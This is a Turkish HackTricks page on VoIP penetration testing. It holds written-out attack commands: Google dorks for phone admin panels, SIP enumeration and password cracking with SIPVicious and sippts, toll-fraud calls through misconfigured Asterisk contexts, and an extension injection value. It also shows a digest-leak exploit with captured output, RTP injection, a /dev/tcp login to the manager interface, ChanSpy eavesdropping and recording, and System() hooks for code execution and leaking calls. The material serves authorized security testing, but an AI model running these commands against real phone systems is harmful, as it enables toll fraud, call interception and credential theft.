hacktricks/network-services-pentesting/pentesting-voip
2024-06-03 13:34:02 +00:00
..
basic-voip-protocols Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:43:52 +00:00
README.md Translated ['network-services-pentesting/pentesting-voip/README.md'] to 2024-06-03 13:34:02 +00:00

VoIP Pentesting

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

VoIP Temel Bilgiler

VoIP'nin nasıl çalıştığını öğrenmeye başlamak için şu adrese bakın:

{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}

Temel Mesajlar

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

Yanıt Kodları

1xx—Geçici Yanıtlar

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—Başarılı Yanıtlar

200 OK
202 Accepted
204 No Notification

3xx—Yönlendirme Yanıtları

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—İstemci Hatası Yanıtları

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—Sunucu Hatası Yanıtları

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—Küresel Başarısızlık Yanıtları

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Numaralama

Telefon Numaraları

Kırmızı Takım'ın yapabileceği ilk adımlardan biri, OSINT araçları, Google Aramaları veya web sayfalarını kazıyarak şirketle iletişim kurmak için kullanılabilecek telefon numaralarını aramaktır.

Telefon numaralarına sahip olduktan sonra operatörü tanımlamak için çevrimiçi hizmetler kullanabilirsiniz:

Operatörün VoIP hizmetleri sağlayıp sağlamadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.

Müzik gibi otomatik yanıtlar gibi şeyler genellikle VoIP kullanıldığını gösterir.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT bilgisi

VoIP yazılımının belirlenmesine yardımcı olan herhangi bir diğer OSINT numaralandırması, Kırmızı Takım için faydalı olacaktır.

Ağ Numaralandırma

  • nmap, UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle bu tür hizmetlerle çok yavaş ve çok doğru olmayabilir.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap SIPVicious'tan (sudo apt install sipvicious): Belirtilen ağdaki SIP hizmetlerini bulacaktır.
  • svmap, friendly-scanner Kullanıcı Ajanını kullandığı için kolayca engellenebilir, ancak /usr/share/sipvicious/sipvicious dizininden kodu değiştirerek bunu değiştirebilirsiniz.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS taraması sippts'dan: SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Kolayca bir bağlantı noktası aralığı belirtmeyi, hem TCP hem de UDP'yi taramayı, başka bir yöntem kullanmayı sağlar (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir Kullanıcı Ajanı belirtmeyi mümkün kılar (ve daha fazlası).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Ekstra Ağ Numaralandırma

PBX ayrıca şu gibi diğer ağ hizmetlerini de açıklayabilir:

  • 69/UDP (TFTP): Firmware güncellemeleri
  • 80 (HTTP) / 443 (HTTPS): Cihazı web üzerinden yönetmek için
  • 389 (LDAP): Kullanıcı bilgilerini depolamak için alternatif
  • 3306 (MySQL): MySQL veritabanı
  • 5038 (Yönetici): Diğer platformlardan Asterisk'i kullanmaya izin verir
  • 5222 (XMPP): Jabber kullanarak mesajlar
  • 5432 (PostgreSQL): PostgreSQL veritabanı
  • Ve diğerleri...

Yöntemler Numaralandırma

PBX'te kullanılabilir olan hangi yöntemlerin bulunabileceğini sippts üzerinden SIPPTS enumerate kullanarak bulmak mümkündür.

sippts enumerate -i 10.10.0.10

Sunucu yanıtlarının analizi

Bize geri gönderilen sunucu başlıklarını analiz etmek, gönderdiğimiz mesaj türüne ve başlıklara bağlı olarak çok önemlidir. sippts 'den SIPPTS send ile kişiselleştirilmiş mesajlar gönderebilir, tüm başlıkları manipüle edebilir ve yanıtı analiz edebiliriz.

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

Ayrıca sunucu websockets kullanıyorsa veri elde etmek mümkündür. sippts üzerinden SIPPTS wssend kullanarak kişiselleştirilmiş WS mesajları gönderebiliriz.

sippts wssend -i 10.10.0.10 -r 443 -path /ws

Uzantı Numaralarının Sıralanması

PBX (Özel Şube Değişim) sistemlerinde uzantılar, bir organizasyonun veya işletmenin içindeki bireysel telefon hatları, cihazlar veya kullanıcılara atanan benzersiz iç tanımlayıcılara atıfta bulunur. Uzantılar, her kullanıcı veya cihaz için ayrı harici telefon numaralarına gerek kalmadan, aramaların organizasyon içinde verimli bir şekilde yönlendirilmesini sağlar.

  • svwar from SIPVicious (sudo apt install sipvicious): svwar, ücretsiz bir SIP PBX uzantı hattı tarayıcısıdır. Kavram olarak, geleneksel wardialer'lar gibi çalışarak bir dizi uzantıyı tahmin ederek veya belirli bir uzantı listesini kullanarak çalışır.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten sippts: SIPPTS exten, bir SIP sunucusundaki uzantıları tanımlar. Sipexten geniş ağ ve port aralıklarını kontrol edebilir.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: Metasploit ile uzantıları/kullanıcı adlarını da sıralayabilirsiniz:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX, Inter Asterisk Exchange protokolü kullanıcı adı brute-force numaralandırıcısıdır. enumIAX iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP Saldırıları

Şifre Kaba Kuvvet - çevrimiçi

Bir Kırmızı Takım, PBX'i ve bazı dahili kullanıcı adlarını keşfettikten sonra, bir sözlük kullanarak kimlik doğrulamasını kaba kuvvet saldırısıyla deneyebilir ve bir uzantıya REGISTER yöntemi aracılığıyla kimlik doğrulamaya çalışabilir.

{% hint style="danger" %} Kullanıcı adının, uzantı ile aynı olabileceğini unutmayın, ancak bu uygulama PBX sistemi, yapılandırması ve organizasyonun tercihlerine bağlı olarak değişebilir...

Eğer kullanıcı adı uzantı ile aynı değilse, kullanıcı adını bulup kaba kuvvet uygulamak için belirlemeniz gerekecektir. {% endhint %}

  • svcrack from SIPVicious (sudo apt install sipvicious): SVCrack, bir PBX üzerinde belirli bir kullanıcı adı/uzantı için şifreyi kırmak için kullanılır.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack sippts'dan: SIPPTS rcrack, SIP hizmetleri için uzaktan şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcının şifrelerini test edebilir.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP Sniffing

Eğer ık Wifi ağı içinde VoIP ekipmanı bulursanız, tüm bilgileri sızdırabilirsiniz. Dahası, daha kapalı bir ağda bulunuyorsanız (Ethernet üzerinden bağlı veya korumalı Wifi ile bağlı), ARPspoofing gibi MitM saldırıları gerçekleştirebilir ve bilgileri PBX ve ağ geçidi arasında sızdırmak için.

Ağ bilgileri arasında, ekipmanı yönetmek için web kimlik bilgileri, kullanıcı dahili numaraları, kullanıcı adı, IP adresleri, hatta karmalanmış şifreler ve konuşmayı dinlemek için çoğaltabileceğiniz RTP paketleri bulabilirsiniz.

Bu bilgilere ulaşmak için Wireshark, tcpdump gibi araçları kullanabilirsiniz, ancak VoIP konuşmalarını sızdırmak için özel olarak oluşturulmuş bir araç olan ucsniff kullanabilirsiniz.

{% hint style="danger" %} SIP iletişiminde TLS kullanılıyorsa, SIP iletişimini açık bir şekilde göremezsiniz.
Aynı durum SRTP ve ZRTP kullanılıyorsa da geçerlidir, RTP paketleri açık metin olmayacaktır. {% endhint %}

SIP kimlik bilgileri (Şifre Kaba Kuvvet - çevrimdışı)

Daha iyi anlamak için bu örneğe bakın: SIP KAYIT iletişimini daha iyi anlamak için SIP REGISTER örneğine bakın ve kimlik bilgilerinin nasıl gönderildiğini öğrenin.

  • sipdump & sipcrack, sipcrack'in bir parçası (apt-get install sipcrack): Bu araçlar, SIP protokolü içindeki digest kimlik doğrulamalarını bir pcap dosyasından çıkarabilir ve kaba kuvvet uygulayabilir.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump sippts: SIPPTS dump, bir pcap dosyasından digest kimlik doğrulamalarını çıkarabilir.
sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack sippts'dan: SIPPTS dcrack, SIPPTS dump ile elde edilen digest kimlik doğrulamalarını kırmak için bir araçtır.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark sippts: SIPPTS tshark, bir PCAP dosyasından SIP protokolü verilerini çıkarır.
sippts tshark -f capture.pcap [-filter auth]

DTMF kodları

Ağ trafiğinde yalnızca SIP kimlik bilgileri değil, aynı zamanda örneğin sesli postaya erişmek için kullanılan DTMF kodları da bulunabilir.
Bu kodları INFO SIP mesajları içinde, ses içinde veya RTP paketleri içinde göndermek mümkündür. Kodlar RTP paketlerinin içindeyse, konuşmanın o kısmını kesip onları çıkarmak için multimo aracını kullanabilirsiniz:

multimon -a DTMF -t wac pin.wav

Ücretsiz Aramalar / Asterisk Bağlantıları Yanlış Yapılandırmaları

Asterisk'te bir bağlantıya belirli bir IP adresinden veya herhangi bir IP adresinden izin vermek mümkündür:

host=10.10.10.10
host=dynamic

Eğer bir IP adresi belirtilirse, ana makine zaman zaman REGISTER istekleri göndermek zorunda kalmayacak (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Bununla birlikte, VoIP sunucusundan gelen aramaları almak için açık bağlantılara izin veren portlara sahip olması gerekecek.

Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:

  • type=user: Kullanıcı sadece kullanıcı olarak arama alabilir.
  • type=friend: Peer olarak aramalar yapılabilir ve kullanıcı olarak alınabilir (uzantılarla kullanılır)
  • type=peer: Peer olarak arama yapılabilir ve alınabilir (SIP-trunk'larla kullanılır)

Ayrıca güvensiz değişkenle güven oluşturmak mümkündür:

  • insecure=port: IP tarafından doğrulanmış peer bağlantılarına izin verir.
  • insecure=invite: INVITE mesajları için kimlik doğrulama gerektirmez
  • insecure=port,invite: Her ikisi de

{% hint style="warning" %} type=friend kullanıldığında, host değişkeninin değeri kullanılmayacak, bu yüzden bir yönetici bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa, herkes ona bağlanabilecek.

Örneğin, bu yapılandırma savunmasız olacaktır:
host=10.10.10.10
insecure=port,invite
type=friend {% endhint %}

Ücretsiz Aramalar / Asterisk Bağlam Yanlış Yapılandırmaları

Asterisk'te bir bağlam (context), ilgili uzantıları, eylemleri ve kuralları gruplayan ve adlandırılmış bir konteyner veya bölümdür. Çağrı planı, bir Asterisk sisteminin temel bileşenidir, çünkü gelen ve giden aramaların nasıl ele alındığını ve yönlendirildiğini tanımlar. Bağlamlar, çağrı planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır.

Her bağlam genellikle extensions.conf dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle belirtilir ve bağlam adı bunların içine alınır. Örneğin:

csharpCopy code[my_context]

İçerikte, uzantıları (çevrilen numaraların desenleri) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler çağrının nasıl işlendiğini belirler. Örneğin:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Bu örnek, "my_context" adında basit bir bağlamı ve "100" uzantısını göstermektedir. Birisi 100 numarayı çevirdiğinde, arama cevaplanacak, bir karşılama mesajı çalınacak ve ardından arama sonlandırılacaktır.

Bu ise başka bir bağlamdır ve herhangi bir başka numarayı aramaya izin verir:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Eğer yönetici varsayılan bağlamı şu şekilde tanımlarsa:

[default]
include => my_context
include => external

{% hint style="warning" %} Herhangi biri, sunucuyu kullanarak herhangi bir numarayı arayabilecek (ve sunucu yöneticisi aramanın bedelini ödeyecek). {% endhint %}

{% hint style="danger" %} Ayrıca, varsayılan olarak sip.conf dosyası allowguest=true içerir, bu durumda herhangi bir kimlik doğrulaması olmadan herhangi bir numarayı aramak mümkün olacaktır. {% endhint %}

  • SIPPTS invite sippts: SIPPTS daveti, bir PBX sunucusunun kimlik doğrulamasız aramalara izin verip vermediğini kontrol eder. Eğer SIP sunucusu yanlış yapılandırılmışsa, harici numaralara arama yapmamıza izin verecektir. Ayrıca, aramayı ikinci bir harici numaraya aktarmamıza da izin verebilir.

Örneğin, Asterisk sunucunuzun kötü bir bağlam yapılandırması varsa, kimlik doğrulamasız INVITE isteğini kabul edebilirsiniz. Bu durumda, bir saldırgan herhangi bir kullanıcı/şifreyi bilmeden arama yapabilir.

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

{% endcode %}

Ücretsiz aramalar / Yanlış yapılandırılmış IVRS

IVRS, Interactive Voice Response System'in kısaltmasıdır, kullanıcıların ses veya tuş tonu girişleri aracılığıyla bilgisayarlaştırılmış bir sistemle etkileşime girmelerini sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girişlerini yakalama gibi çeşitli işlevler sunan otomatik çağrı işleme sistemleri oluşturmak için kullanılır.

VoIP sistemlerinde IVRS genellikle şunlardan oluşur:

  1. Sesli ipuçları: Kullanıcıları IVR menü seçenekleri ve talimatlarıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
  2. DTMF (Dual-Tone Multi-Frequency) sinyallemesi: Telefon tuşlarına basarak oluşturulan tuş tonu girişleri, IVR menülerinde gezinmek ve giriş sağlamak için kullanılır.
  3. Çağrı yönlendirme: Kullanıcı girişine bağlı olarak çağrıları belirli departmanlara, ajanlara veya uzantılara yönlendirme.
  4. Kullanıcı girişi yakalama: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
  5. Harici sistemlerle entegrasyon: IVR sisteminin veritabanlarına veya diğer yazılım sistemlerine bağlanarak bilgilere erişme veya güncelleme, işlemler gerçekleştirme veya olayları tetikleme.

Asterisk VoIP sisteminde, IVR oluşturmak için extensions.conf dosyası gibi çeşitli uygulamalar ve Background(), Playback(), Read() ve daha fazlası gibi uygulamalar kullanabilirsiniz. Bu uygulamalar, sesli ipuçları çalmanıza, kullanıcı girişini yakalamanıza ve çağrı akışını kontrol etmenize yardımcı olur.

Hassas yapılandırma örneği

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Önceki örnekte kullanıcıdan bir bölümü aramak için 1'i tuşlaması, başka bir bölümü aramak için 2'yi tuşlaması veya bildiği takdirde tam numarayı girmesi istenir.
Zafiyet, belirtilen uzantı uzunluğunun kontrol edilmemesidir, bu nedenle bir kullanıcı 5 saniyelik zaman aşımı süresince tam bir numara girebilir ve arama yapılacaktır.

Uzantı Enjeksiyonu

Bir uzantı kullanarak:

exten => _X.,1,Dial(SIP/${EXTEN})

${EXTEN}'in çağrılacak olan dahili numara olduğu yerde, ext 101 tanıtıldığında şu olacaklar:

exten => 101,1,Dial(SIP/101)

Ancak, eğer ${EXTEN} daha önceki Asterisk sürümlerinde olduğu gibi sadece sayılardan fazlasına izin veriyorsa, bir saldırgan 101&SIP123123123 gibi bir değer girebilir ve telefon numarası 123123123'ü arayabilir. Ve bu da sonuç olacaktır:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Bu nedenle, 101 uzantısına yapılan bir arama ve 123123123 numarasına gönderilecek ve aramayı ilk alanın yalnızca kurulacağı... ancak bir saldırgan, gerçekleştirilen herhangi bir eşleşmeyi atlayan bir uzantı kullanırsa ve mevcut olmasa da, yalnızca istenilen numaraya arama enjekte edebilir.

SIPDigestLeak zafiyeti

SIP Digest Leak, donanım ve yazılım IP Telefonları ile telefon adaptörlerini (VoIP'ten analog'a) de içeren birçok SIP Telefonu etkileyen bir zafiyettir. Bu zafiyet, Şifreleme kimlik doğrulama yanıtının sızmasına izin verir, bu yanıt şifreden hesaplanır. Ardından çevrimdışı bir şifre saldırısı mümkün olur ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.

**Buradan zafiyet senaryosu**:

  1. Bir IP Telefonu (kurban), herhangi bir bağlantı noktasında dinleme yapar (örneğin: 5060), telefon aramalarını kabul eder
  2. Saldırgan, IP Telefonuna bir INVITE gönderir
  3. Kurban telefon çalmaya başlar ve biri telefonu açar ve kapatır (çünkü karşı tarafta kimse telefonu açmaz)
  4. Telefon kapatıldığında, kurban telefon bir BYE gönderir
  5. Saldırgan bir 407 yanıtı verir ve kimlik doğrulaması isteyerek bir kimlik doğrulama meydan okuması yapar
  6. Kurban telefon, ikinci bir BYE ile kimlik doğrulama meydan okumasına yanıt verir
  7. Saldırgan ardından yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı brute-force saldırısı başlatabilir ve şifreyi tahmin edebilir
  • sippts'den SIPPTS sızıntısı:** SIPPTS sızıntısı, birçok SIP Telefonunu etkileyen SIP Digest Leak zafiyetini sömürür. Çıktı, SIPPTS dcrack veya SipCrack aracını kullanarak brute-force saldırısı yapmak için SipCrack formatında kaydedilebilir.
sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call, bir web kullanıcısının (örneğin bir ürüne ilgi duyan) aranmak için telefon numarasını tanıtmasına olanak tanır. Daha sonra bir reklam aranacak ve kullanıcı telefonu açtığında kullanıcı arama yapılacak ve ajanla bağlantı kurulacak.

Bunun için yaygın bir Asterisk profili:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Önceki profil, BİR IP adresinin bağlanmasına izin veriyor (şifre biliniyorsa).
  • Daha önce belirtildiği gibi bir arama düzenlemek için okuma izinlerine gerek yoktur ve sadece yazma izni olan originate gereklidir.

Bu izinlerle, şifreyi bilen herhangi bir IP adresi bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

{% endcode %}

Daha fazla bilgi veya eylem istenebilir.

Kulak Misafiri Olma

Asterisk'te, ChanSpy komutunu kullanarak **izlenecek uzantı(lar)**ı belirterek (veya hepsini) gerçekleşen konuşmaları dinlemek mümkündür. Bu komut bir uzantıya atanmalıdır.

Örneğin, exten => 333,1,ChanSpy('all',qb) komutu, eğer 333 numaralı uzantıyı ararsanız, tüm uzantıları izleyeceğini, yeni bir konuşma başladığında (b) sessiz modda (q) dinlemeye başlayacağını belirtir çünkü etkileşime girmek istemeyiz. Bir konuşmadan diğerine geçmek için * tuşuna basabilir veya uzantı numarasını işaretleyebilirsiniz.

Ayrıca, yalnızca bir uzantıyı izlemek için ExtenSpy kullanmak da mümkündür.

Konuşmaları dinlemek yerine, bunları dosyalara kaydetmek için aşağıdaki gibi bir uzantı kullanmak da mümkündür:

{% code overflow="wrap" %}

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

{% endcode %}

Aramalar /tmp dizininde kaydedilecektir.

Ayrıca Asterisk'in kapanırken aramayı sızdıracak bir betik çalıştırmasını bile yapabilirsiniz.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed güvenlik açığı

RTCPBleed, 2017 yılında yayınlanan Asterisk tabanlı VoIP sunucularını etkileyen ciddi bir güvenlik sorunudur. Bu zafiyet, VoIP konuşmalarını taşıyan RTP (Gerçek Zamanlı Protokol) trafiğinin, İnternet'teki herhangi bir kişi tarafından yakalanıp yönlendirilmesine izin verir. Bu durum, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamasını atlamasından kaynaklanmaktadır.

RTP vekilleri, iki veya daha fazla taraf arasında RTP akışlarını vekilleştirerek RTC sistemlerini etkileyen NAT kısıtlamaları ile başa çıkmaya çalışır. NAT devrede olduğunda, RTP vekil yazılımı genellikle sinyalizasyon aracılığıyla alınan RTP IP ve port bilgilerine güvenemez. Bu nedenle, birçok RTP vekili, bu tür IP ve port çiftinin otomatik olarak öğrenildiği bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portu yanıtlanması gereken IP ve port olarak işaretleyerek yapılır. Bu mekanizma, genellikle "öğrenme modu" olarak adlandırılabilir ve herhangi bir kimlik doğrulama türünden yararlanmaz. Bu nedenle saldırganlar, RTP trafiğini RTP vekiline gönderebilir ve meşru kullanıcılara gönderilmesi gereken vekilleştirilmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed adı verilir çünkü saldırganlara meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını alabilmelerine izin verir.

RTP vekillerinin ve RTP yığınlarının ilginç bir davranışı da bazen, RTP Bleed'e duyarlı olmasalar bile, herhangi bir kaynaktan gelen RTP paketlerini kabul edecek, iletecek ve/veya işleyeceklerdir. Bu nedenle saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine izin verebilecek RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu adı verilir çünkü mevcut RTP akışlarına yasal olmayan RTP paketlerinin enjekte edilmesine izin verir. Bu zafiyet hem RTP vekillerinde hem de uç noktalarda bulunabilir.

Asterisk ve FreePBX geleneksel olarak NAT=yes ayarını kullanmıştır, bu da RTP trafiğinin kimlik doğrulamasını atlamasına olanak tanır ve bu da çağrılarda ses olmamasına veya tek yönlü ses olmasına neden olabilir.

Daha fazla bilgi için https://www.rtpbleed.com/

  • sippts 'den SIPPTS rtpbleed:** SIPPTS rtpbleed, RTP Bleed zafiyetini göndererek RTP akışlarını tespit eder.
sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed sippts: SIPPTS rtcpbleed, RTP Bleed zafiyetini RTCP akışları göndererek tespit eder.
sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood sippts: SIPPTS rtpbleedflood, RTP akışları göndererek RTP Sızıntısı zafiyetini sömürür.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject sippts: SIPPTS rtpbleedinject, RTP Bleed zafiyetini enjekte ederek bir ses dosyası (WAV formatında) enjekte eder.
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

Uzaktan Kod Çalıştırma (RCE)

Asterisk'te, bir şekilde dahili numara kuralları ekleyip yeniden yüklemeyi başarırsanız (örneğin, zayıf bir web yönetici sunucusunu ele geçirerek), System komutunu kullanarak RCE elde etmek mümkündür.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Shell komutu, gerektiğinde sistem komutlarını çalıştırmak için System yerine kullanılabilecek bir komuttur.

{% hint style="warning" %} Sunucu, System komutunda belirli karakterlerin kullanımını engelliyorsa (örneğin Elastix'te), web sunucunun sistemin içinde dosya oluşturmaya izin verip vermediğini kontrol edin (örneğin Elastix veya trixbox'ta) ve bunu kullanarak bir arka kapı betiği oluşturun ve ardından o betiği çalıştırmak için System komutunu kullanın. {% endhint %}

İlginç yerel dosyalar ve izinler

  • sip.conf -> SIP kullanıcılarının şifresini içerir.
  • Asterisk sunucusu root olarak çalışıyorsa, root hesabını tehlikeye atabilirsiniz.
  • mysql root kullanıcısının muhtemelen herhangi bir şifresi yoktur.
  • Bu, yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
  • FreePBX
  • amportal.conf -> Web panel yöneticisinin şifresini içerir (FreePBX)
  • FreePBX.conf -> Veritabanına erişmek için kullanılan FreePBXuser kullanıcısının şifresini içerir
  • Bu, yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
  • Elastix
  • Elastix.conf -> mysql root şifresi, IMAPd şifresi, web yönetici şifresi gibi birçok şifreyi düz metin olarak içerir.
